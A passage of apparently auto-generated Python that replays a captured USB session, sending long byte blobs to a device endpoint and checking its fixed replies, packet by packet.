b\"\\xD5\\x90\\xCB\\x02\\xB6\\x78\\x7E\\x8C\\x49\\xB1\\xE5\\xB6\\x48\\x01\\x77\\xA1\"\n b\"\\xBA\\x07\\x92\\xB7\\x1D\\x83\\xBC\\x58\\x9C\\x87\\xDA\\xD7\\x8C\\xBA\\x86\\xC3\"\n b\"\\x0C\\x9A\\xE5\\x33\\xAA\\x13\\x57\\xF3\\x53\\xA1\\x7D\\x2E\")\n # Generated from packet 1647/1648\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1647/1648\")\n # Generated from packet 1649/1650\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x83\\xC8\\xCA\\xDA\\x6D\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFC\\xFB\\xFD\\x44\\x58\\xBA\\x0C\\xBB\"\n b\"\\xB3\\x50\\x06\\x5E\\xAE\\xFB\\x9E\\xA5\\x57\\x10\\x92\\x6E\\x20\\xB6\\xDA\\xA8\"\n b\"\\xA6\\x7C\\xBC\\xA2\\xBF\\x66\\xA3\\xB9\\xB5\\x0D\\xBD\\x75\\xD3\\xE7\\x24\\x9F\"\n b\"\\x2B\\xC4\\x42\\x42\\x26\\xAC\\x89\\x26\\x64\\xC6\\x0E\\xE5\\x4C\\x0B\\x57\\x55\"\n b\"\\x26\\xA7\\x34\\xB8\\xD6\\x13\\xE3\\x2A\\xC6\\x01\\x1E\\xEC\\xDF\\xBF\\x14\\x65\"\n b\"\\x2D\\x99\\x9A\\x67\\xDF\\xB7\\x89\\x7A\\x0F\\x60\\xEF\\x8B\\x1D\\xD4\\x86\\xC4\"\n b\"\\x4C\\x40\\x38\\xDB\\x32\\xFC\\x3B\\x4B\\xAF\\x5B\\x49\\xE4\\xE7\\x3B\\x4A\\x71\"\n b\"\\x22\\xF5\\xDD\\x3E\\x94\\x25\\xF5\\x7B\\xB7\\xA0\\x87\\xC4\\xDC\\xC7\\x5C\\xB5\"\n b\"\\xE3\\x5A\\x01\\x9A\\xE0\\xD0\\x12\\xF8\\x91\\xA6\\x02\\x30\\xA6\\xFF\\xAE\\x42\"\n b\"\\x07\\x61\\x20\\x10\\x4C\\xD6\\x9E\\xC5\\x5C\\x3A\\x37\\xD0\\x43\\xB7\\x55\\xD5\"\n b\"\\x80\\xC4\\x8F\\x77\\x48\\x6E\\x07\\x81\\x89\\x6A\\x61\\x73\\x66\\x03\\x5B\\x8C\"\n b\"\\x59\\x6B\\x81\\x99\\x65\\xE8\\xB3\\x9D\\xC4\\xEA\\x33\\xBC\\xB4\\x28\\x05\\x1E\"\n b\"\\x68\\x47\\xA5\\x20\\x0F\\x90\\xBA\\x7D\\x1A\\x12\\x86\\xF5\\x33\\xB3\\x2E\\xBF\"\n b\"\\x74\\xE3\\x85\\xC4\\xFC\\xB1\\x9E\\x64\\x4C\\x8F\\xD3\\x36\\xF3\\x44\\x81\\x0B\"\n b\"\\x59\\x12\\x61\\x3E\\x8C\\xA4\\xE2\\x83\\x54\\x84\\xE5\\x7C\\x4B\\x29\\x03\\xFD\"\n b\"\\x78\\x2B\\x2E\\xB2\\x89\\x1D\\x2C\\xCA\\x8C\\xF2\\x67\\x7D\\x18\\xD9\\x3D\\x16\"\n b\"\\xC8\\x03\\x73\\x53\\x9D\\x1A\\x08\\x7B\\x3D\\x46\\xF0\\x8A\")\n # Generated from packet 1651/1652\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1651/1652\")\n # Generated from packet 1653/1654\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC6\\xDF\\xC6\\x9D\\x3E\\x11\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6A\\xDB\\x07\\x26\\x27\\xA4\\xF1\\x0D\"\n b\"\\xA9\\x3E\\x21\\xE5\\x88\\x76\\xDA\\x3A\\xE5\\x97\\x3C\\x9C\\xA7\\xB9\\x9E\\x3C\"\n b\"\\x76\\xC0\\xEC\\x29\\xE1\\xD1\\xBF\\x2B\\x05\\xC3\\xFA\\x4B\\x37\\xCE\\x65\\xAE\"\n b\"\\x41\\xA2\\x8E\\xF0\\xC2\\x04\\x98\\x4A\\xB0\\x4C\\x02\\xD0\\x4D\\x6D\\x1C\\x17\"\n b\"\\x73\\x62\\xCC\\x3A\\xDA\\x74\\x45\\x3D\\x00\\x82\\x75\\x76\\xEB\\xB3\\x70\\x2F\"\n b\"\\x27\\x76\\x0E\\x1D\\x39\\xD4\\xD0\\x87\\x80\\xCA\\xA3\\x6B\\xE8\\xF7\\x07\\xCF\"\n b\"\\x44\\xCD\\x2C\\xD8\\x7D\\xCC\\x9D\\x9B\\x9D\\x40\\x10\\x7B\\x03\\x90\\x24\\x6B\"\n b\"\\x30\\xEE\\xF4\\xEA\\xDA\\x9F\\x03\\xF5\\x53\\xEA\\xE6\\x65\\xF5\\xD2\\x1F\\x0A\"\n b\"\\x34\\xD6\\x5E\\x62\\x3E\\xA4\\x2B\\x4C\\x52\\x3A\\x68\\x64\\xB0\\x71\\xF2\\x75\"\n b\"\\xF6\\xCC\\xBB\\x34\\x66\\xC8\\x88\\x30\\xD7\\x9B\\xBA\\x24\\x5A\\x02\\x97\\x8A\"\n b\"\\xD4\\x32\\xC6\\x47\\x70\\xBD\\xB1\\xE9\\x9A\\x22\\xF9\\xA6\\xE7\\x87\\x6D\\xE8\"\n b\"\\x51\\x5A\\x25\\xC5\\x44\\x95\\xA2\\x17\\x66\\x58\\xCA\\x09\\xD5\\xB6\\xCE\\xDB\"\n b\"\\x0B\\x91\\x47\\xBB\\x46\\xD7\\x18\\x7F\\xBE\\x71\\x4B\\x0E\\x68\\xAD\\xBD\\xD4\"\n b\"\\x00\\x42\\xEE\\x5C\\xA2\\x00\\xAB\\xC0\\x6C\\x98\\x20\\x29\\xDD\\xF9\\xB4\\x25\"\n b\"\\xC4\\xBC\\x08\\x2E\\xDC\\x83\\xC8\\x72\\x2A\\x90\\xA2\\xC1\\xEA\\xE4\\x92\\x63\"\n b\"\\x01\\x97\\xDD\\xAE\\xEC\\xB5\\x3E\\x19\\xB9\\x32\\xA7\\x56\\xC0\\x7D\\x2A\\x1B\"\n b\"\\x6F\\xAD\\xF1\\x51\\x77\\x52\\xE7\\xC1\\x2E\\x55\\xE8\\xF8\")\n # Generated from packet 1655/1656\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1655/1656\")\n # Generated from packet 1657/1658\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBA\\x9F\\x92\\x9A\\x62\\x24\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBA\\xF7\\x7E\\x3A\\xF8\\x65\\x7E\\xF1\"\n b\"\\x21\\x37\\xA2\\xD7\\x7E\\x67\\xFB\\xBA\\x55\\x2C\\xB4\\x87\\x33\\xA2\\xF4\\x41\"\n b\"\\x31\\x66\\x78\\x03\\x9C\\x93\\x69\\xD7\\xED\\x9B\\x95\\x31\\x8A\\xD9\\xB0\\x15\"\n b\"\\x1B\\x6F\\x30\\xF6\\xFA\\x9C\\x3E\\x82\\x37\\x53\\x0A\\x96\\x23\\xE7\\x4F\\xCD\"\n b\"\\x7C\\xB3\\xCD\\x86\\x95\\x35\\x63\\xB5\\x50\\x87\\xDC\\x45\\x09\\x11\\x26\\xCB\"\n b\"\\xD4\\xEC\\x9D\\x19\\x44\\x86\\xDA\\xB6\\x31\\xED\\xBE\\x3F\\xD3\\xFD\\xAA\\x70\"\n b\"\\x20\\x97\\x66\\xA7\\x90\\xE2\\xC2\\x87\\x14\\x31\\x45\\xD9\\xA0\\xE8\\x5E\\x8B\"\n b\"\\x41\\xBE\\x58\\x35\\x5C\\x5D\\x1D\\x41\\x78\\x0E\\x46\\x21\\xAD\\xD2\\x4E\\xC4\"\n b\"\\xB6\\x89\\x23\\x6E\\x32\\xCE\\x58\\x32\\xE9\\x6B\\xB7\\xC7\\x29\\x08\\xCB\\x26\"\n b\"\\x60\\x61\\x06\\xEE\\x30\\xD1\\x84\\x18\\x52\\x78\\x58\\xC6\\x6C\\x88\\xC4\\xF5\"\n b\"\\xE0\\x7F\\x18\\x87\\xF6\\xA6\\x96\\x08\\x2F\\x8F\\xDA\\x8C\\x92\\xB7\\xE7\\x19\"\n b\"\\x8A\\x1F\\xDF\\xFA\\x13\\x82\\x3E\\x7F\\x42\\x94\\x65\\x3B\\x2E\\x6C\\xEF\\x02\"\n b\"\\x13\\x28\\x12\\xE2\\x3A\\xC2\\x3D\\x6C\\x87\\xD9\\xE3\\x7E\\x4C\\xB7\\x1C\\x67\"\n b\"\\x14\\xC6\\x0B\\x28\\x13\\xFC\\x4C\\xCE\\x1D\\x4A\\x91\\xF7\\xF5\\x9E\\x35\\x31\"\n b\"\\x7C\\xF6\\x7E\\x8A\\x95\\x83\\xBC\\x7C\\x1D\\x96\\xC3\\x07\\x12\\xBF\\xC7\\xCA\"\n b\"\\x01\\xAB\\x67\\x2A\\x2B\\x99\\xE7\\x40\\x4D\\xCA\\xD3\\x03\\x17\\x08\\x24\\x43\"\n b\"\\xF2\\xCC\\x1B\\x3C\\x46\\xC2\\x2F\\x4C\\x3B\\x64\\x97\\xA7\")\n # Generated from packet 1659/1660\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1659/1660\")\n # Generated from packet 1661/1662\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9C\\xC6\\x1F\\x7F\\xE0\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE0\\xBB\\x6F\\x7C\\xCA\\x48\\x1D\\xFE\"\n b\"\\x9A\\x75\\x49\\xAD\\xE4\\xD2\\xDA\\x9E\\x32\\x6E\\xCC\\xAC\\xEE\\x1B\\xEF\\x15\"\n b\"\\x24\\x75\\x90\\x6A\\x3D\\x71\\xD0\\xD4\\xFE\\x16\\x0D\\x63\\x9F\\xF6\\xFD\\x77\"\n b\"\\xE9\\x6D\\x22\\xDE\\xFB\\xDF\\x74\\xA8\\x40\\xA1\\x45\\x5A\\x4A\\x5C\\x3A\\xC9\"\n b\"\\x8C\\x9E\\x2A\\xF1\\xBB\\xF0\\x4D\\xB5\\xAF\\xB8\\x9A\\x93\\x82\\x37\\x80\\x99\"\n b\"\\x03\\x75\\x51\\x7F\\xE3\\x39\\x04\\x90\\x61\\xB8\\x06\\xB9\\x4A\\xAA\\xBD\\x36\"\n b\"\\xBA\\x2B\\xFB\\x02\\x02\\x9E\\x45\\xCF\\x7D\\x9D\\x07\\xEA\\x22\\x0E\\x30\\xB5\"\n b\"\\xCE\\x37\\xDD\\xC9\\x7B\\xAA\\x9C\\xE0\\xBB\\xC6\\x99\\x9A\\xBB\\x95\\xE0\\x4E\"\n b\"\\xC1\\xCF\\x65\\x8F\\x1E\\x88\\x28\\x0E\\x3F\\xDC\\x96\\x60\\xD3\\x1E\\xC2\\x0D\"\n b\"\\x2C\\x06\\x0D\\x28\\x27\\x0B\\xFC\\x70\\xF2\\x80\\xF3\\xB3\\xD3\\x0B\\xC9\\x4B\"\n b\"\\x6C\\x29\\x99\\xB3\\x8F\\xDB\\xE8\\xA1\\x82\\x9D\\xB3\\x46\\xC4\\x46\\xE3\\x3E\"\n b\"\\xC9\\x97\\x81\\x89\\x5C\\x4A\\xAA\\x62\\x7B\\x8E\\x08\\x00\\x2C\\xC6\\xC1\\x09\"\n b\"\\x9E\\x24\\xEF\\x4C\\x50\\xFA\\xD4\\x07\\x8B\\x82\\x7A\\x55\\x87\\x4B\\xEA\\x60\"\n b\"\\xF1\\xB3\\xA6\\xA5\\x73\\xA4\\x6C\\x94\\x98\\x10\\x81\\x50\\x76\\x13\\x61\\xD5\"\n b\"\\xBA\\xD1\\xC8\\xEB\\xD3\\xE2\\xBB\\xD6\\x4D\\xB8\\xB4\\xDD\\xC0\\x74\\x3E\\x31\"\n b\"\\x62\\x9C\\x2C\\xD7\\x9D\\x57\\x3B\\x4B\\x14\\xB4\\x0E\\x0E\\x77\\x19\\x6C\\x4B\"\n b\"\\x4D\\xA0\\xE4\\x78\\x72\\x13\\x34\\x33\\x7D\\x70\\x16\\x8A\")\n # Generated from packet 1663/1664\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1663/1664\")\n # Generated from packet 1665/1666\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF7\\xC9\\x7E\\xAD\\x96\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE7\\xF6\\xE2\\x1C\\x8D\\x0E\\x44\\xFD\"\n b\"\\xDD\\xEA\\xA9\\xCA\\xA4\\x49\\x5D\\x69\\x78\\x21\\x21\\x33\\x2D\\xC8\\x41\\x64\"\n b\"\\x4F\\x47\\xE0\\x1D\\xC1\\x24\\x25\\xA2\\xE9\\x81\\x43\\x17\\x58\\x8F\\x72\\xDD\"\n b\"\\x67\\xF8\\x19\\x18\\xD4\\xF4\\x95\\xA5\\x8F\\x01\\x39\\x52\\xB4\\x1A\\x74\\xFB\"\n b\"\\x8D\\x66\\x48\\xFF\\x4A\\xE7\\x6E\\x7D\\x04\\x5B\\xC2\\xFE\\xCD\\xBE\\xBB\\x07\"\n b\"\\x17\\xC1\\xDA\\x82\\xF4\\x8E\\x44\\xDF\\xE4\\xCE\\x4C\\x25\\xD8\\x9F\\x6A\\x3A\"\n b\"\\x87\\x01\\xFC\\xAB\\x95\\xEF\\x22\\x96\\x68\\xC8\\x0F\\xD7\\x57\\x9E\\x86\\xDB\"\n b\"\\xEE\\x28\\x89\\x08\\xF1\\xD3\\x7F\\x9E\\xFE\\x92\\x38\\x61\\xA3\\xD9\\xAC\\xE5\"\n b\"\\x3C\\x5A\\x6A\\xE7\\xE7\\x9E\\x16\\x09\\x4A\\xC5\\x20\\xD8\\x51\\x2E\\x65\\xF2\"\n b\"\\x88\\xCA\\x8B\\x78\\x5B\\xFE\\xE2\\x59\\x96\\xD8\\x61\\xE5\\x67\\xDA\\x49\\xEA\"\n b\"\\x76\\x1D\\xF2\\x17\\x29\\x4D\\x97\\xDA\\x53\\x43\\x5D\\x55\\x62\\xDA\\x57\\xEB\"\n b\"\\x1F\\x88\\xCC\\x80\\x88\\x98\\xFF\\x93\\xF4\\xA1\\xF0\\xCF\\xAF\\x98\\x06\\x67\"\n b\"\\xE2\\xC2\\xB1\\x06\\xCD\\xE6\\x8E\\x77\\x13\\x03\\x7F\\x98\\xBF\\x85\\x28\\xAC\"\n b\"\\xF5\\x3E\\xB9\\x96\\x85\\x09\\x76\\xED\\xC1\\x61\\x36\\xD9\\xED\\x76\\xF1\\xFA\"\n b\"\\x02\\xE0\\x35\\x68\\x36\\xD0\\x32\\x2C\\x60\\x44\\x45\\x56\\xD5\\x5D\\x33\\x40\"\n b\"\\xCC\\xAB\\x84\\x99\\xCF\\xD2\\x24\\x2F\\x8F\\x6F\\xE1\\x06\\x41\\xCA\\xDB\\x59\"\n b\"\\x89\\x90\\x4D\\x0F\\x69\\x19\\x3C\\x29\\x40\\x21\\xEA\\x60\")\n # Generated from packet 1667/1668\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1667/1668\")\n # Generated from packet 1669/1670\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\x96\\x9F\\xDD\\x12\\x65\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x6E\\x1D\\x19\\x35\\xA3\\xAA\\xE2\"\n b\"\\xAA\\x62\\x0E\\x31\\x70\\x6D\\x78\\x95\\xAB\\xB0\\x4D\\xC7\\x98\\x9A\\x27\\xCD\"\n b\"\\x1B\\xCC\\x87\\x86\\xD8\\x3D\\x50\\x33\\xB4\\x02\\x1C\\x8C\\xE6\\x88\\xA4\\xC5\"\n b\"\\xE0\\xFD\\xE1\\x73\\x9D\\x7B\\xA7\\x03\\x78\\x7B\\xB5\\x92\\xF1\\x5E\\xC1\\xA3\"\n b\"\\x9C\\xDA\\x4A\\xBB\\xC2\\xF6\\x32\\xCE\\x71\\x95\\x12\\x8E\\x23\\xD8\\x61\\xD4\"\n b\"\\xDB\\x73\\x79\\xC9\\x4E\\x20\\x8B\\x0A\\xB1\\x54\\x3D\\xE3\\x2F\\xDF\\xA7\\x7D\"\n b\"\\xCA\\xA8\\x1C\\xF6\\x2C\\x1C\\x8A\\x49\\x27\\xD2\\x5B\\x04\\x35\\x46\\xCC\\x68\"\n b\"\\xE9\\x8E\\x09\\xE5\\xDF\\x2C\\x78\\x47\\x4C\\xE2\\xD9\\xCD\\x2D\\x1B\\x57\\xF1\"\n b\"\\x80\\x5E\\x1D\\xE6\\x70\\x6B\\x61\\x88\\xD4\\xC8\\x31\\x47\\x26\\xAA\\x65\\xBF\"\n b\"\\x7C\\x68\\x7E\\xAD\\x00\\xB1\\x44\\x79\\xAF\\x17\\x92\\x0D\\x38\\xCF\\x05\\x25\"\n b\"\\x0F\\xF7\\xBD\\x6F\\x57\\x20\\xE8\\x88\\x2F\\xDC\\x71\\xB0\\xCB\\x48\\x91\\xC2\"\n b\"\\x4D\\x9D\\x94\\x51\\x38\\x56\\x17\\x66\\x1B\\xEE\\xAC\\x18\\xFA\\xD4\\xFA\\xCA\"\n b\"\\xF9\\x90\\x86\\xA1\\x81\\x2A\\xB5\\x1D\\xAE\\x28\\x95\\x8C\\x49\\xE0\\xA3\\xED\"\n b\"\\x16\\x4C\\xBF\\x54\\x31\\xF0\\x6A\\x92\\x75\\xC9\\xD6\\xCE\\xC4\\x30\\xAA\\x11\"\n b\"\\x52\\x01\\x4E\\x50\\x76\\xDE\\xCA\\xB0\\xEA\\xA9\\xC7\\xBC\\x14\\x38\\xB0\\xBE\"\n b\"\\xCF\\x5A\\xC0\\x86\\x05\\x9C\\x5C\\x2D\\x82\\xA2\\x59\\x9B\\x6D\\x91\\x5E\\x8E\"\n b\"\\x19\\x0B\\x4E\\x51\\x5D\\x15\\xD3\\xD0\\x08\\xB6\\x03\\x37\")\n # Generated from packet 1671/1672\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1671/1672\")\n # Generated from packet 1673/1674\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC8\\xA5\\xA4\\xD5\\x34\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFC\\xC8\\x14\\xA6\\x2E\\x7B\\xD7\\x6D\"\n b\"\\x32\\xD1\\x60\\x39\\xA8\\x69\\xA7\\x6B\\x94\\xFA\\xD5\\x9F\\xE9\\x24\\xF5\\x6E\"\n b\"\\x2E\\x25\\xA7\\x5F\\x1B\\x89\\x3F\\xA6\\xD4\\x31\\xAB\\x87\\x4F\\x35\\xD5\\x65\"\n b\"\\x9B\\x87\\x83\\x34\\x10\\xD3\\xB6\\x55\\x69\\xD2\\x7F\\x2D\\x09\\x94\\x7E\\xC4\"\n b\"\\x42\\x29\\xA9\\xED\\x4F\\xAD\\x49\\xB2\\xBE\\xC6\\xCC\\x55\\x87\\xB5\\xF1\\x3C\"\n b\"\\x1D\\x19\\x72\\xB0\\xC5\\x70\\x29\\x3C\\xFF\\x2A\\xCE\\xDB\\xA8\\x8C\\x9C\\x4C\"\n b\"\\x7C\\x67\\xC9\\xCA\\x6E\\x5E\\xBB\\x4D\\x0B\\xFA\\x19\\x50\\x52\\x6F\\x0E\\x72\"\n b\"\\x24\\xEC\\x72\\x5F\\xDA\\x91\\x38\\xB8\\xBD\\x6E\\x1D\\xD1\\x43\\xAF\\x4E\\xBF\"\n b\"\\x07\\x1C\\xF5\\x43\\xA9\\x00\\xFE\\xA6\\x4F\\x73\\x8A\\x3B\\xEB\\x1B\\xBC\\xB5\"\n b\"\\xC3\\x87\\x00\\xD4\\x6B\\xFE\\x50\\x19\\xF4\\xB1\\x61\\x91\\xA3\\x72\\xFA\\xB6\"\n b\"\\x1B\\x9E\\x6E\\x8A\\x3D\\xCD\\x1B\\x45\\x77\\x1B\\xF4\\x4B\\xF6\\x2E\\xF9\\x0A\"\n b\"\\x90\\xB8\\xC1\\x1E\\x41\\x13\\xF8\\xA1\\x77\\x14\\xDC\\xE9\\xF3\\x70\\x64\\xFE\"\n b\"\\xC0\\x2E\\x41\\xD1\\xFA\\x6B\\x51\\x6C\\xC8\\x05\\x76\\x40\\x09\\x01\\xD8\\x3C\"\n b\"\\x41\\x3F\\x3B\\xB2\\x1B\\x57\\x1A\\xA6\\x9D\\xAA\\x7C\\x9B\\x46\\x8D\\x1D\\x14\"\n b\"\\x3D\\x3E\\x16\\x1F\\x64\\x8E\\x50\\xFD\\xF1\\xD3\\xE6\\x5F\\xA4\\xCF\\x61\\x89\"\n b\"\\xC4\\xDF\\x64\\xAD\\x38\\x1C\\x30\\xCC\\x66\\xD4\\xC5\\x8C\\x04\\x7E\\xE3\\x7F\"\n b\"\\xC7\\x67\\x00\\x81\\x3F\\x34\\x04\\x2C\\x6E\\xBA\\x3E\\x16\")\n # Generated from packet 1675/1676\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1675/1676\")\n # Generated from packet 1677/1678\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x54\\xAA\\xFA\\xDF\\xBF\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF3\\xF7\\x55\\x24\\xCC\\xC5\\x50\\xA8\"\n b\"\\xD0\\xA1\\xEF\\xCC\\x46\\xC3\\xB6\\x47\\x3D\\x16\\x1F\\xFA\\x01\\x17\\xC0\\xF2\"\n b\"\\x91\\xE1\\xA0\\x2F\\x33\\xBC\\xF5\\x07\\x5B\\x3F\\x98\\x57\\x01\\x26\\x28\\xCA\"\n b\"\\x82\\xD3\\x58\\x23\\x1A\\x9B\\xFB\\x15\\xE3\\x61\\xC3\\x93\\xA9\\x01\\x0B\\xF4\"\n b\"\\x67\\x9A\\x6F\\xD8\\x11\\xC8\\xFE\\xFE\\xFD\\x80\\xA9\\xE3\\xB4\\x7A\\x7E\\x2A\"\n b\"\\x05\\x92\\x99\\x95\\x60\\xFB\\x7B\\x2A\\x4F\\xE9\\x52\\x66\\x03\\xED\\x00\\x1B\"\n b\"\\xB3\\x10\\xFD\\x83\\x9B\\x86\\x6C\\x71\\xAE\\xD1\\xB6\\x04\\x77\\x1A\\x6D\\x64\"\n b\"\\x68\\x3A\\x24\\xF8\\xD4\\x3E\\x9C\\x3A\\xE7\\xE6\\x69\\xFF\\xAA\\x6B\\x5D\\xF9\"\n b\"\\x1E\\x23\\x5F\\x75\\xAE\\x8F\\x57\\x76\\xDB\\xF4\\xA1\\xEF\\xB2\\x37\\x50\\x26\"\n b\"\\xB3\\x86\\xF6\\x54\\x94\\x26\\xA4\\x2A\\x9D\\x37\\x7E\\x45\\xEA\\x57\\x8D\\xAD\"\n b\"\\x0A\\x7E\\x37\\xF7\\x28\\x22\\xE9\\x24\\x75\\x90\\x77\\x6D\\x19\\xBC\\x24\\xC1\"\n b\"\\x65\\x09\\x1E\\xC3\\x52\\xC1\\xB5\\x07\\xBF\\xA7\\x4C\\xE9\\x3F\\x85\\xDE\\x7C\"\n b\"\\xC7\\x3A\\x3E\\x24\\xDE\\x87\\xA9\\x8B\\xDA\\xD4\\x48\\x0E\\xC2\\x1C\\xEE\\x95\"\n b\"\\x58\\x54\\x27\\x4E\\xC6\\x12\\x91\\xCB\\x08\\xA0\\x5E\\x23\\xF5\\xC0\\xB7\\x2C\"\n b\"\\xA6\\xEB\\x13\\x0E\\x27\\x03\\xC4\\x97\\x44\\x5D\\x1B\\xF6\\x4F\\x9E\\x5B\\x5C\"\n b\"\\xBE\\x09\\x09\\xD6\\xF6\\x99\\xE0\\xCF\\x73\\x7E\\xC7\\x7C\\x4D\\xF4\\x31\\x78\"\n b\"\\x31\\x05\\x63\\x93\\xFC\\x0A\\xFC\\xEB\\x60\\xD8\\x81\\x73\")\n # Generated from packet 1679/1680\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1679/1680\")\n # Generated from packet 1681/1682\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDB\\x82\\x6D\\xB7\\x39\\x2E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAA\\x48\\x7C\\xDE\\xD4\\x08\\x5B\\xFC\"\n b\"\\x4E\\x88\\x43\\xD3\\xB9\\xB5\\xC0\\x28\\x0D\\x1E\\x9D\\x99\\x30\\xA2\\xAD\\x2A\"\n b\"\\xD4\\xFB\\xE6\\xDD\\x32\\x74\\xF4\\xFE\\x1C\\x6B\\x0B\\x3C\\x2A\\x07\\xED\\xE7\"\n b\"\\xD6\\xE6\\xD4\\x9E\\x3F\\xEC\\x04\\x7D\\x4F\\x18\\x3A\\x99\\x07\\x31\\xF0\\x4B\"\n b\"\\xCF\\x9D\\xE7\\x96\\x3C\\xE8\\xD8\\x6F\\x89\\x27\\x31\\xC6\\x8F\\x0B\\xBF\\x54\"\n b\"\\x7B\\x13\\x30\\x41\\xBA\\x83\\x4C\\x38\\x06\\x3C\\xEF\\x96\\x28\\x60\\xF3\\x55\"\n b\"\\xCC\\x27\\x64\\xD7\\x0C\\x08\\x1F\\x5A\\xF4\\xEC\\xD6\\x03\\xDE\\x83\\xF9\\xB9\"\n b\"\\x2B\\x57\\xFE\\x64\\xC9\\x40\\x6E\\xDD\\x06\\x3E\\xA3\\x14\\x8D\\xA3\\xBA\\x7A\"\n b\"\\x85\\xDF\\x02\\x15\\x94\\x6A\\x59\\x02\\x6D\\x77\\x34\\xA7\\x91\\xDC\\x65\\x70\"\n b\"\\xA7\\xD3\\x0B\\xA7\\x1E\\xF8\\x39\\xB4\\x65\\xC3\\x53\\x7B\\x51\\x2D\\xB6\\xC6\"\n b\"\\x5F\\x09\\x23\\x35\\x3E\\x4B\\x03\\xE1\\xEE\\xDE\\x92\\x0B\\x55\\x2D\\xD1\\x8C\"\n b\"\\x1A\\x82\\xFB\\xA2\\xEE\\x5D\\x86\\xBE\\xCA\\x85\\x63\\xB6\\x62\\xF8\\x9F\\x38\"\n b\"\\x28\\xB7\\x02\\x75\\x5C\\x36\\xAE\\x6D\\x68\\xAE\\xA2\\xE1\\x68\\x35\\xF0\\xF5\"\n b\"\\xF8\\xB2\\xD8\\x80\\xBE\\x53\\x88\\x0C\\x9A\\x57\\xC7\\x15\\x73\\x08\\x6F\\xEE\"\n b\"\\x62\\x1D\\x2E\\x4A\\xB6\\x18\\x7D\\x53\\x8E\\xEA\\x97\\x24\\xCF\\x3F\\x02\\xF9\"\n b\"\\x01\\x1A\\xF2\\x7A\\x33\\x67\\x50\\xFA\\xA1\\x1B\\xA4\\xBF\\x59\\x46\\x7F\\x75\"\n b\"\\x98\\xB2\\x7A\\xEF\\x8D\\x0D\\x24\\xDC\\x1F\\x82\\x6D\\x01\")\n # Generated from packet 1683/1684\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1683/1684\")\n # Generated from packet 1685/1686\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x39\\xEA\\x82\\x2A\\xA6\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF6\\xFE\\x07\\x61\\x7B\\x59\\xC1\\xCF\"\n b\"\\x64\\x8E\\x8B\\x9F\\x52\\x4E\\xB7\\xDC\\xCA\\xFB\\x0A\\x8D\\x52\\x6A\\xC4\\x69\"\n b\"\\x2D\\x61\\xA6\\xC5\\x37\\x9C\\x34\\xB9\\x4C\\xCB\\xC3\\xB6\\x63\\x73\\x5E\\x21\"\n b\"\\x31\\x19\\xB4\\x70\\xDA\\x8A\\x26\\x89\\x5D\\xD9\\xC6\\xB8\\xD9\\x8B\\x38\\x04\"\n b\"\\xD7\\x53\\xF2\\x28\\x09\\xBA\\x0F\\xDE\\x47\\x9D\\x7D\\x0C\\x55\\xFC\\x49\\x36\"\n b\"\\x39\\xD3\\x8C\\xB0\\x4B\\x2F\\x8A\\x31\\x4A\\x18\\x98\\xCF\\x59\\xD8\\xA1\\xC3\"\n b\"\\xD0\\xFD\\x2B\\x7F\\x08\\xA7\\x43\\xCF\\x52\\x54\\xAE\\x4E\\xEE\\xA7\\xC9\\x27\"\n b\"\\x8C\\x63\\x64\\xFA\\xE1\\xB6\\x87\\x27\\xC7\\xE8\\x26\\x03\\xF9\\x67\\xB5\\xC6\"\n 